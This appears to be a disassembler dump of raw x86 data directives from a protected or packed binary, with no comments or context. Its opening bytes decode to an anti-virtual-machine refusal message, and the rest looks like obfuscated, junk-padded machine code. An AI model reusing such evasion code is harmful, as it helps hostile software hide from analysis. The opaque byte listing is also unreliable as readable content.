		dd 72726F53h, 74202C79h, 20736968h, 6C707061h, 74616369h
		dd 206E6F69h, 6E6E6163h, 7220746Fh, 75206E75h, 7265646Eh
		dd 56206120h, 75747269h, 4D206C61h, 69686361h, 656Eh, 70h dup(0)
		dd 10h,	0FF000100h, 17FFEFFh, 1000000h,	4A000000h, 2, 0F000100h
		dd 40800h, 94h,	5, 1, 0A28h, 2,	21h dup(0)
		dd 0EE9C48Bh, 0DF000000h, 0FA70950Fh, 9B593D2h,	0A035F250h
		dd 6985896Fh, 105E91Fh,	0E912599Dh, 3C08B05h, 0E92821BDh
		dd 4DBD8305h, 5E916h, 0BD830975h, 5E91121h, 50197400h
		dd 0B8C08B53h, 43Dh, 23B98589h,	9D8D05E9h, 5EBB8C4h, 585BD3FFh
		dd 1121BD83h, 740005E9h, 0B8535017h, 43Dh, 23B98589h, 9D8D05E9h
		dd 5EBB5B3h, 585BD3FFh,	0BE9h, 19F2AC00h, 0BF58317Dh, 6A096F0h
		dd 8BF88B66h, 52006AC0h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1904h, 0C3524200h, 0D0C869A6h, 11E991AAh, 0C7000000h
		dd 0DDE4D183h, 0EE305AB3h, 149E1166h, 850AD131h, 8166C08Bh
		dd 83D5BDEFh, 0E9164DBDh, 9750005h, 1121BD83h, 740005E9h
		dd 8B535013h, 0B8C0h, 9D8D0000h, 5EBB766h, 585BD3FFh, 1121BD83h
		dd 740005E9h, 0B8535011h, 0
		dd 0B6179D8Dh, 0D3FF05EBh, 8B66585Bh, 21BD09D6h, 8B05E92Dh
		dd 13E9C0h, 0A5C70000h,	36394E7Fh, 0CDE712D4h, 0E711415Eh
		dd 0A9E0F02h, 6830FBCh,	31000000h, 0E90F7DB5h, 89C08B05h
		dd 0E92F4585h, 0F58D3105h, 8305E930h, 0E9164DBDh, 9750005h
		dd 1121BD83h, 740005E9h, 8B535013h, 0B8C0h, 9D8D0000h
		dd 5EBB698h, 585BD3FFh,	1121BD83h, 740005E9h, 0B8535011h
		dd 0
		dd 0B5E59D8Dh, 0D3FF05EBh, 8960585Bh, 0E9267DB5h, 0ABBA6605h
		dd 958B61D5h, 5E9008Dh,	11E8h, 7CC2EF00h, 63404F3Ch, 0F764258Ch
		dd 0E9143679h, 95896608h, 5E9195Dh, 6AC08B59h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h
		dd 903C350h, 0E960B5E6h, 11h, 0E8058C43h, 0BDEC4E88h, 0D9BC0D1Fh
		dd 8304169Ah, 83C08BBCh, 0E9164DBDh, 9750005h, 1121BD83h
		dd 740005E9h, 8B535013h, 0B8C0h, 9D8D0000h, 5EBB6FFh, 585BD3FFh
		dd 1121BD83h, 740005E9h, 0B8535011h, 0
		dd 0B5FE9D8Dh, 0D3FF05EBh, 7E9585Bh, 0D4000000h, 4CAB04FEh
		dd 8B531D6Ah, 0E900918Dh, 0F1815A05h, 52B035Bh,	870FC08Bh
		dd 13h,	0EE9h, 5CD10B00h, 3E053286h, 0FB617C9Dh, 8189DDCAh
		dd 57644FE7h, 60C08B52h, 5DD952Bh, 11E805E9h, 75000000h
		dd 59F9A1E3h, 210F2B43h, 0B93694A3h, 572B2BBFh,	7E59D23h
		dd 615A05E9h, 164DBD83h, 750005E9h, 21BD8309h, 5E911h
		dd 53501374h, 0B8C08Bh,	8D000000h, 0EBB6319Dh, 5BD3FF05h
		dd 11E958h, 0AF7F0000h,	8083E8F6h, 0EB6B18FEh, 0B96020C2h
		dd 0F52E0DB1h, 0C08BC08Bh, 81D88A60h, 79FF1FE8h, 0BD836158h
		dd 5E9164Dh, 83097500h,	0E91121BDh, 19740005h, 0C08B5350h
		dd 7D0B8h, 0B9858900h, 8D05E923h, 0EBB8C49Dh, 5BD3FF05h
		dd 21BD8358h, 5E911h, 53501774h, 7D0B8h, 0B9858900h, 8D05E923h
		dd 0EBB5B39Dh, 5BD3FF05h, 7D958B58h, 8B05E92Eh,	0A9D981C0h
		dd 0C62D9156h, 0E90EE585h, 8E95305h, 84000000h,	0B4D13398h
		dd 68C974A0h, 99395F90h, 0A047EF81h, 9D8977C9h,	5E92791h
		dd 2345B5FFh, 958905E9h, 5E925B5h, 39CF858Dh, 6A05E9h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h
		dd 3BF345C3h, 15FA05B6h, 69BD896Ch, 0FF05E91Dh,	0BA6652D0h
		dd 895FCD21h, 0E90BC585h, 0F98B6605h, 0EE585C6h, 665705E9h
		dd 680377BFh, 90045206h, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 16h, 18C35343h, 8D8B4E73h,	5E921E1h, 2345B5FFh
		dd 666005E9h, 0F729C081h, 8D61C8B3h, 0E939CF85h, 57006A05h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1C04h, 0C3574700h
		dd 9B68D751h, 7914C60Eh, 0FFD78B65h, 398D8BD0h,	8905E90Eh
		dd 0E907C985h, 57006A05h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1504h, 0C3574700h, 12E96CCDh, 0BB000000h
		dd 0FC154AB9h, 17AF4668h, 1CA08C70h, 0A9B294BFh, 5DBD8BB5h
		dd 0C605E932h, 0E90EE585h, 6A4305h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1C0424h, 52420000h, 0E7626DC3h
		dd 25FD735Dh, 0BD8B128Bh, 5E906F1h, 90702868h, 458D31BCh
		dd 0FF05E918h, 0E92345B5h, 0AE95605h, 58000000h, 0A090F23h
		dd 879237ADh, 0BD295A90h, 5E9045Dh, 39CF858Dh, 816605E9h
		dd 0FFE48EF1h, 6850FD0h, 1000000h, 0E900998Dh, 0B9858905h
		dd 6A05E921h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 14042444h, 42000000h, 8BECC352h, 0E90AD5BDh,	0D5E78105h
		dd 66102B84h, 1BB4CA81h, 0EE585C6h, 0F4C05E9h, 0E968CBB7h
		dd 6AD9DA1Ch, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 16042444h, 46000000h, 965DC356h, 8E86Bh, 0A9CB0000h
		dd 0ACF28DCh, 0F5119B3h, 8Bh, 0FF5F5F00h, 0E92345B5h, 0F1B52905h
		dd 8D05E91Dh, 0E939CF85h, 50006A05h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1404h,	0C3504000h, 6E86Bh, 9870000h
		dd 0DDC4E572h, 2E31B501h, 0FF5905E9h, 99958BD0h, 8905E92Fh
		dd 0E92B6185h, 8BED8005h, 0EE585C6h, 0F54605E9h, 0DE061468h
		dd 0D28166BAh, 0B5FF9BC6h, 5E92345h, 0FE9h, 0B10F3B00h
		dd 0C1412E8Bh, 3EE04623h, 42C89BB2h, 39CF858Dh,	0E96005E9h
		dd 13h,	896D37BEh, 0F9C52D0Ah, 0B182B305h, 5334CBA0h, 0BBD912BEh
		dd 2056A37Bh, 0E9D0FF61h, 0Bh, 3A459E10h, 593AF78Fh, 89B3940Eh
		dd 0E92A4185h, 0B860F05h, 0F000000h, 583h, 6491B900h, 0CB8B6CE1h
		dd 0EE585C6h, 34705E9h,	0E90B21BDh, 0B5E26805h,	0B5298A0Fh
		dd 5E90E9Dh, 2345B5FFh,	816605E9h, 8D467BEFh, 0E939CF85h
		dd 53006A05h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1704h
		dd 0C3534300h, 2C214ED7h, 0D999D31h, 0D0FF05E9h, 95AE281h
		dd 858946E2h, 5E932C5h,	4AEBA66h, 0EE585C6h, 684705E9h
		dd 83D0B5F3h, 0FFD3BF0Fh, 0E92345B5h, 0B9852905h, 8D05E926h
		dd 0E939CF85h, 6DBD8B05h, 0FF05E911h, 52006AD0h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1404h, 0C3524200h
		dd 0CF816688h, 85893066h, 5E90F89h, 9AF7B966h, 0EE585C6h
		dd 6A7705E9h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1B042444h, 47000000h, 1524C357h, 3B12C076h, 85B116F7h
		dd 97A8A368h, 55CEB9F3h, 0B5FF3B82h, 5E90039h, 0BF58D33h
		dd 858D05E9h, 5E939CFh,	61D18B60h, 0DF81D0FFh, 5201F8C0h
		dd 2CF1B501h, 858905E9h, 5E903A5h, 5E9h, 66A96500h, 85C657AAh
		dd 5E90EE5h, 68E0F47h, 3000000h, 0E90B99BDh, 0FAF66805h
		dd 6A8728h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h
		dd 55450000h, 134541C3h, 0D9F6EE80h, 0FF6AF580h, 0E92345B5h
		dd 50006A05h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1904h
		dd 0C3504000h, 928F2FE5h, 8D8BAE0Fh, 5E9253Dh, 65122CBAh
		dd 0CF858D43h, 0F05E939h, 58Bh,	0C1816600h, 850F1225h
		dd 15h,	10E9h, 85110F00h, 0A0CEA78Ch, 5612FD0Eh, 0B60C902Bh
		dd 8BD0FFD0h, 0E90E79BDh, 0A1858905h, 6A05E922h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h
		dd 167FC352h, 0E680A117h, 0E585C672h, 4305E90Eh, 28EDBD8Bh
		dd 0FC6805E9h, 2BBC8E6Eh, 0E900DD95h, 45B5FF05h, 0FC05E923h
		dd 39CF858Dh, 6A05E9h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1D0424h, 55450000h, 4BDB2BC3h, 4BC78450h, 8178630Ch
		dd 0CBEC9AE2h, 56D0FF0Ah, 78EA8166h, 85895F98h,	5E90F05h
		dd 10A59589h, 85C605E9h, 5E90EE5h, 6968F945h, 0F8E7269h
		dd 68Ah, 0F9BD3300h, 2305E92Bh,	0E90AF1BDh, 45B5FF05h
		dd 6605E923h, 8A2809B9h, 0CF858DEFh, 8905E939h,	0E923018Dh
		dd 23D0FF05h, 0E9166D95h, 61858905h, 6005E917h,	2AADB58Bh
		dd 0CBF05E9h, 614D7FAAh, 0EE585C6h, 894405E9h, 0E90795B5h
		dd 0EC646805h, 0BA56B8F2h, 56D54591h, 45B5FF59h, 8D05E923h
		dd 0E939CF85h, 0FFD08B05h, 0D7BF0FD0h, 27118589h, 0EE905E9h
		dd 0C5000000h, 8F9E7A0Dh, 0A54C3C8Bh, 7601A456h, 0E585C614h
		dd 4305E90Eh, 6AC18166h, 4AA7688Dh, 6AC076h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 190424h, 53430000h, 0FDF98DC3h
		dd 89EE7B63h, 0E92F4595h, 0F58D8B05h, 0FF05E932h, 0E92345B5h
		dd 858DF505h, 5E939CFh,	0FFFE8B66h, 55006AD0h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1504h,	0C3554500h, 0D9805690h
		dd 0C58589A2h, 3305E92Dh, 0E92BA595h, 0ECBD8005h, 5EC05h
		dd 0B2840Fh, 0B5290000h, 5E926D9h, 5CE858Dh, 9D3105ECh
		dd 5E91E75h, 3DB96650h,	60016A36h, 8E957h, 31110000h, 0D3876B24h
		dd 0F598130h, 68Eh, 810F00h, 61000000h,	2451958Bh, 6A05E9h
		dd 8B006AF8h, 0E91D1D95h, 0B995FF05h, 6A05E921h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h
		dd 890CC355h, 0E9122995h, 6AC78105h, 8B2F06A8h,	0E927898Dh
		dd 0BD858905h, 8A05E919h, 0B52960CEh, 5E90265h,	0CFB70F53h
		dd 0FF6A615Ah, 6788B966h, 24ABF66h, 19BDB5FFh, 8D2305E9h
		dd 5E915D9h
		dd 7C995FFh, 0BD8B05E9h, 5E91841h, 6AC08Bh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 170424h, 51410000h, 0DFE50FC3h
		dd 49B5892Bh, 8305E90Eh, 0E9164DBDh, 9750005h, 1121BD83h
		dd 740005E9h, 8B535019h, 7D1B8C0h, 85890000h, 5E923B9h
		dd 0B8C49D8Dh, 0D3FF05EBh, 0BD83585Bh, 5E91121h, 50177400h
		dd 7D1B853h, 85890000h,	5E923B9h, 0B5B39D8Dh, 0D3FF05EBh
		dd 8152585Bh, 0E44CFDD9h, 958B5F51h, 5E917A5h, 80C08BFCh
		dd 85C6BEE5h, 5E90EE5h,	6E847h,	0E76E0000h, 64FC3159h
		dd 6B98D89h, 685F05E9h,	93C8F7C1h, 0EE9h, 75538100h, 17578460h
		dd 0F799AAE8h, 0FF06F814h, 0E92345B5h, 53006A05h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1D04h, 0C3534300h
		dd 6F906470h, 667B1BD9h, 8589EA44h, 5E91ED9h, 0DE9h, 0DBF4B00h
		dd 5560ACDCh, 0FB4B34C3h, 858D2FE4h, 5E939CFh, 0F9950B60h
		dd 8005E90Ah, 0FF61E8F7h, 50006AD0h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1C04h,	0C3504000h, 870840EEh
		dd 0B6894126h, 23B966ABh, 85B589AEh, 5005E900h,	0DC62D981h
		dd 0E88A3CF1h, 0A0F858Dh, 6A05ECh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 150424h, 53430000h, 315D58C3h, 0E928F59Dh
		dd 9400C705h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 19042444h, 45000000h, 45CBC355h, 0F5637705h
		dd 18B0F58h, 0F8000000h, 0A0FB58Dh, 6A05ECh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 7CD518C3h
		dd 0CFCABD79h, 57006A56h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1904h, 0C3574700h, 0DE250ED8h, 8A0F817Fh
		dd 6, 25618D8Bh, 0D0FF05E9h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ch, 8CC35747h, 0FFF68CFEh, 0C7D8D066h
		dd 719BD09h, 800F05E9h,	2, 858DC88Ah, 5EC0A0Fh,	7E9h, 0D639AE00h
		dd 989057D7h, 6047883h,	33850Fh, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 140424h, 55450000h, 8D0180C3h
		dd 5E92A69h, 0AA385C7h,	105ECh,	880F0000h, 1, 3DBD83F8h
		dd 5E927h, 0BB850Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 180424h, 52420000h, 50AEABC3h, 0F5800761h
		dd 0A3BD83A0h, 5EC0Ah, 8B850Fh,	6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 94C997C3h
		dd 6B8E68D4h, 11810F51h, 0E8000000h, 6,	466A47CBh, 81666919h
		dd 5FC8F5E7h, 1021BD83h, 0F0005E9h, 4484h, 52006A00h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1604h, 0C3524200h
		dd 0B2F4FE44h, 0C7CE8B69h, 0E910A985h, 5, 13E900h, 30160000h
		dd 5E37996Ah, 297DACBh,	0E87CAEDFh, 4F2F2599h, 0DB8C66FDh
		dd 0BA9958Bh, 0C3F605E9h, 43840F04h, 6A000005h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h
		dd 0C732C350h, 0E901BD85h, 5, 0AD90B900h, 0BD804930h, 5EC05F9h
		dd 3850F00h, 66000000h,	85C6F88Bh, 5E90EE5h, 0FCBA6647h
		dd 5B866830h, 850FE3E4h, 2, 0B5FF48B6h,	5E92345h, 0FE9h
		dd 3023EB00h, 0CB2266B1h, 4FEA812Eh, 8BCEA08Eh,	0E8B0Fh
		dd 9E90000h, 70000000h,	0A32E1D13h, 766037BBh, 39CF858Dh
		dd 860F05E9h, 0Dh, 8E9h, 8CEE3600h, 0B4575B46h,	89D0FF9Eh
		dd 0E927B9BDh, 1046805h, 95310000h, 5E90191h, 12C59D8Dh
		dd 0F78A05E9h, 0F99D0153h, 0FF05E928h, 18DA80D0h, 12C5858Dh
		dd 0BF6605E9h, 6A50279Bh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1A042444h, 46000000h, 2980C356h, 9278727Ah
		dd 61D98132h, 8D5AAC00h, 0EC05AB85h, 56006A05h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1D04h,	0C3564600h, 5E3C5D26h
		dd 0C66C5322h, 8D89DF6Ah, 5E90CE1h, 0E950D38Bh,	6, 0F34E59FAh
		dd 0CF81047Ah, 739A2F66h, 0FC7E858Dh, 952305EBh, 5E91701h
		dd 89BD2950h, 0FF05E928h, 0E903A595h, 0A1950905h, 8305E923h
		dd 0B5890CC4h, 5E90069h, 8068006Ah, 6A000000h, 6A006A03h
		dd 6800h, 858D8000h, 5EBFC7Eh, 595FF50h, 8905E90Fh, 0EC058E85h
		dd 0E585C605h, 4705E90Eh, 0B15E8768h, 45B5FFC7h, 8D05E923h
		dd 0E939CF85h, 6AD0FF05h, 8EB5FF00h, 0FF05EC05h, 0CA8B66D0h
		dd 2CF18D89h, 0D03D05E9h, 0F000037h, 5E83h, 188A0F00h
		dd 0E9000000h, 13h, 0B240F87Eh,	3013B5BDh, 7177F341h, 0FBD541BAh
		dd 0FF05081Eh, 0EC058EB5h, 11BD2B05h, 0FF05E918h, 0E92DC595h
		dd 0E5958B05h, 0E905E907h, 0F4h, 0E855006Ah, 3,	5DC35D20h
		dd 4246C89h, 4244481h, 1Bh, 0DEC35545h,	8ADAA4B1h, 0FF7E60EFh
		dd 0EC058EB5h, 0C8B70F05h, 2DC595FFh, 0DE905E9h, 1000000h
		dd 122D1902h, 176B94A6h, 5610DEDCh, 89006AF8h, 0E9229595h
		dd 8B006A05h, 0E930D58Dh, 50006A05h, 26398D89h,	6A5F05E9h
		dd 7E800h, 60200000h, 2E0DB1B9h, 6A59D3h, 0D68B6652h, 8B006A59h
		dd 0C78151F8h, 3FCCD23Eh, 92858D5Fh, 6A05EC05h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h
		dd 0B20BC355h, 0F0340A06h, 91BD8B75h, 5005E92Dh, 27519D89h
		dd 0BD8B05E9h, 5E928F9h, 0F0595FFh, 950105E9h, 5E904A1h
		dd 0FFFF883h, 15385h, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1504h, 0C3504000h, 0BD2316B8h, 5E93125h
		dd 0C11E858Dh, 0CF8105EBh, 56F4455Ah, 13E9h, 56A2CA00h
		dd 7BD5C1FBh, 86B4DF68h, 0FECC155Ah, 47199CCh, 8D89D0FFh
		dd 5E90DFDh, 952B006Ah,	5E927F1h, 8589006Ah, 5E90199h
		dd 9589006Ah, 5E90675h,	0BD8B006Ah, 5E91025h, 8531006Ah
		dd 5E918C9h, 880F006Ah,	6, 375958Bh, 0E95305E9h, 7, 0AA753DA4h
		dd 5A355184h, 592858Dh,	858905ECh, 5E905DDh, 0AD858950h
		dd 0FF05E906h, 0E90F0595h, 9E805h, 0D9A30000h, 0D857EFB7h
		dd 0F047864h, 8359D7BFh, 850FFFF8h, 8Ch, 0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 19h, 23C35141h, 1285F740h
		dd 595898Eh, 8D05E904h,	0EBFF9AB5h, 8DB7B605h, 0EBAA9785h
		dd 8C0FF505h, 6, 31E19D01h, 0D0FF05E9h,	40E78166h, 0B890F6Fh
		dd 0F000000h, 586h, 943ABA00h, 6A053Eh,	0B899C3BAh, 6195FF40h
		dd 6A05E917h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 17042444h, 43000000h, 0ED44C353h, 0BD01C619h, 5E907C5h
		dd 58E8589h, 6A05ECh, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1D0424h, 51410000h, 91F050C3h, 0F2FF2212h, 6A13DCFAh
		dd 6D8D8B00h, 8D05E930h, 0EC058685h, 52006A05h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1904h,	0C3524200h, 2C5D96E7h
		dd 0D38BE640h, 35958950h, 6A05E932h, 50006A04h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1904h,	0C3504000h, 0CDD92991h
		dd 14E89E90h
		dd 49000000h, 0E80F7CA3h, 488595B2h, 0A0AA89CDh, 9F7AF4CAh
		dd 802A5271h, 8B5A68E2h, 0E91ECD95h, 19858D05h,	0F05E91Dh
		dd 382h, 0D2BF0F00h, 50006A50h,	3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1804h, 0C3504000h, 0C100D504h, 0A58589ECh
		dd 6A05E900h, 0AAEA8100h, 6A0D77D1h, 0F979BA00h, 0B966369Fh
		dd 16AD1F0h, 0E2CBCA81h, 0B5FF567Dh, 5EC058Eh, 9509D08Bh
		dd 5E90C8Dh, 271195FFh,	0E9F805E9h, 1B70h, 0AD8D8B60h
		dd 8905E910h, 0E928F99Dh, 0BF666105h, 0C08B40EAh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 0AFC35646h, 8B06B56Eh
		dd 8381C545h, 0E9164DBDh, 9750005h, 1121BD83h, 740005E9h
		dd 8B535019h, 7D2B8C0h,	85890000h, 5E923B9h, 0B8C49D8Dh
		dd 0D3FF05EBh, 0BD83585Bh, 5E91121h, 50177400h,	7D2B853h
		dd 85890000h, 5E923B9h,	0B5B39D8Dh, 0D3FF05EBh,	8166585Bh
		dd 2336D2C9h, 0E9270995h, 0FC08B05h, 128Dh, 7E800h, 17760000h
		dd 0F2F2E701h, 0AFE0B92Fh, 0E95A0FEEh, 0Eh, 0EA7D08E6h
		dd 0E3ABF9B3h, 7577873Fh, 85C7997Ch, 5E901BDh, 1, 2F718D89h
		dd 8D2905E9h, 5E92F01h,	0E4E7B868h, 0D5B5FFCEh,	8D05E921h
		dd 0E939CF85h, 89D0FF05h, 0E9065185h, 0DBD46805h, 0B5FFC005h
		dd 5E921D5h, 39CF858Dh,	0D0FF05E9h, 1D398589h, 858D05E9h
		dd 5EBFA37h, 45B5FF50h,	0FF05E923h, 0E932C595h,	74C00B05h
		dd 8DD88B0Bh, 0EC09EA85h, 0D3FF5005h, 9EA858Dh,	836605ECh
		dd 0A750938h, 0E0985C7h, 105E9h, 95FF0000h, 5E922A1h, 0FF25h
		dd 5F88300h, 85C70A73h,	5E92FB1h, 1, 890Fh, 0BD800000h
		dd 5EC05F9h, 10850F00h,	66000000h, 0E971B5BAh, 1A00h, 8166CCB1h
		dd 8379D7CFh, 0E90E09BDh, 850F0005h, 10Fh, 858D80B1h, 5EC05C3h
		dd 2FDD958Bh, 6A5005E9h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 14042444h, 47000000h, 16FC357h, 0E91ECD9Dh
		dd 0CE05B905h, 16A7B67h, 18E0Fh, 6AF90000h, 0EE800h, 0F1A50000h
		dd 2324692Ah, 0E4105CFBh, 0D2F207E2h, 11E9h, 22429B00h
		dd 3336BE0Fh, 0E0C819B7h, 91C8E0A0h, 6A5A75DAh,	0D0B70F00h
		dd 21B995FFh, 0B96605E9h, 0BF0F99A6h, 0ED8589D1h, 6A05EC05h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1C042444h
		dd 45000000h, 0CFEBC355h, 38E895B7h, 32047F1h, 0E910B58Dh
		dd 6AFF6A05h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 14042444h, 40000000h, 5786C350h, 6890Fh, 958B0000h
		dd 5E90D0Dh, 9E959h, 0B2DB0000h, 0B40CEEB6h, 0FF07453Dh
		dd 0EC05EDB5h, 0EE805h,	45BC0000h, 0A2361FA0h, 0EB21C78Ah
		dd 3B6E9D10h, 5AD3BF0Fh, 7C995FFh, 0ECBA05E9h, 8D1815BCh
		dd 0EBF9FE85h, 51006A05h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1D04h, 0C3514100h, 5112A638h, 50F30C3Bh
		dd 8950B2BCh, 0E90E6D95h, 6195FF05h, 8B05E92Bh,	0E9128D8Dh
		dd 88858905h, 8B05EBFAh, 0B858DFBh, 6A05EBFAh, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h
		dd 457FC357h, 2C5F2E41h, 8961D8CAh, 0E905C5BDh,	0B5295005h
		dd 5E9237Dh, 0FA88B5FFh, 6A05EBh, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 160424h, 51410000h, 463201C3h, 285D9D89h
		dd 95FF05E9h, 5E932C5h,	85895A57h, 5E9255Dh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 5AC35242h, 7AF51282h
		dd 5E9B6h, 8CC10000h, 66B111A3h, 8D9531BAh, 0EBFA7985h
		dd 0B4F68005h, 88B5FF50h, 6A05EBFAh, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 19042444h, 47000000h, 5164C357h
		dd 141D9115h, 0F2816660h, 8D0308BDh, 5E916C9h, 0C595FF61h
		dd 6A05E932h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1A042444h, 43000000h, 681C353h, 0E5482D9Fh, 0FEB70F62h
		dd 12E9h, 0A8689E00h, 0F7BB63BDh, 550BAD96h, 4DEEF97Ch
		dd 66A3132Eh, 33FED181h, 0FA9C8589h, 8B6605EBh,	58858DFBh
		dd 5005EBFAh, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h
		dd 1Dh,	4FC35646h, 0EC144BCFh, 0B9C89863h, 0FF89B689h
		dd 0EBFA88B5h, 9E805h, 90B70000h, 0F6C7C938h, 956D950h
		dd 0E930458Dh, 0B5895A05h, 5E92905h, 32C595FFh,	858905E9h
		dd 5E917D5h, 0FA948589h, 0BD8B05EBh, 5E903A1h, 0FA4B858Dh
		dd 0E96005EBh, 14h, 247733Fh, 39CB53AFh, 0AD90C09h, 0C7FA9F1Dh
		dd 21179651h, 11E95061h, 7C000000h, 0C0E93CD6h,	7464844Fh
		dd 54E783DDh, 96CCC83h,	0FA88B5FFh, 8D0905EBh, 5E906A5h
		dd 32C595FFh, 0CA8B05E9h, 313D8529h, 858905E9h,	5EBFA98h
		dd 1965E981h, 858D6712h, 5EBFA66h, 0FE8h, 0DC3E6200h, 0AAFA18B7h
		dd 8A6316F3h, 0DDC5891Eh, 0BACEBA66h, 0D0B1505Ah, 0FA88B5FFh
		dd 6A05EBh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h
		dd 53430000h, 7AA76C3h,	0E2E2A1CAh, 0F835FA25h,	2F35B529h
		dd 95FF05E9h, 5E932C5h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 17h, 0BBC35141h, 0F539721h, 8Ah, 25858900h
		dd 8D05E927h, 0EBFA1A85h, 81666005h, 60AB7BE1h,	9E9h, 957EA500h
		dd 31514899h, 95294364h, 5E902ADh, 0F506161h, 2781h, 0EE96000h
		dd 81000000h, 523E80C3h, 97AE0821h, 0F5D0F9B6h,	0CE830h
		dd 0CDC00000h, 0BDFDBB11h, 28764DA6h, 6158FED9h, 0FA88B5FFh
		dd 958905EBh, 5E927ADh,	32C595FFh, 0A4BF05E9h, 0E82B7F52h
		dd 0Ch,	0DC8D5C46h, 3AA4112Ch, 2B9CCBC8h, 0E16EB966h, 8C858959h
		dd 8905EBFAh, 0E90E518Dh, 29858D05h, 8005EBFAh,	8950C0CAh
		dd 0E905BD95h, 88B5FF05h, 105EBFAh, 0E90F51B5h,	0C595FF05h
		dd 0E905E932h, 14h, 4F2CF271h, 2470FFB0h, 83D46D38h, 7429224Ch
		dd 0B8FE20C0h, 0FA908589h, 6A05EBh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 1207C2C3h
		dd 75E4E908h, 0BD8BDA4Bh, 5E91F01h, 10468h, 1DBD8B00h
		dd 8D05E91Eh, 0EBFB2085h, 6D958905h, 5005E926h,	2E618D89h
		dd 858D05E9h, 5EBFC24h,	31018D89h, 805005E9h, 95FFF8D1h
		dd 5E90F89h, 0E853EB8Ah, 11h, 0AB05A1F7h, 0EE628A6Fh, 0F23E2000h
		dd 0C17DE923h, 0BD8D2347h, 5A05E90Fh, 0FC0855Fh, 1285h
		dd 7E900h, 3E10000h, 4051C91Ah,	34EF8155h, 80258471h, 0EC05F9BDh
		dd 850F0005h, 4Ch, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 16h, 0F7C35343h, 17BAE651h, 0E9432C01h, 1488h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 8CC35343h
		dd 0C9040411h, 0D1BF0FABh, 0E09BD83h, 0F0005E9h, 3785h
		dd 0DE800h, 98960000h, 0B11726C5h, 69FCA4A3h, 0F86BF2F6h
		dd 0A3BD835Fh, 5EC0Ah, 46840Fh,	11E90000h, 0C1000000h
		dd 32394290h, 187B9AEh,	14398CF7h, 7A7E30CAh, 0FABD858Dh
		dd 840F05EBh, 0Bh, 6E9h, 8AB10C00h, 0E9BF03B4h,	1404h
		dd 45BD8BF8h, 0E905E90Fh
		dd 11h,	4DBD8Bh, 9EB205E9h, 0FAA8858Dh,	0BF0F05EBh, 858D50C9h
		dd 5EBFB20h, 0D9858950h, 8305E915h, 0E90E09BDh,	840F0005h
		dd 3Dh,	0CC58D33h, 858D05E9h, 5EBFC46h,	51958B52h, 5F05E90Eh
		dd 2AE9h, 0B5B58900h, 6005E906h, 12E9h,	0F7AF2600h, 95621BDAh
		dd 79F363F5h, 0D2514B3Ah, 66F9CDB8h, 4BA2E881h,	2F858D61h
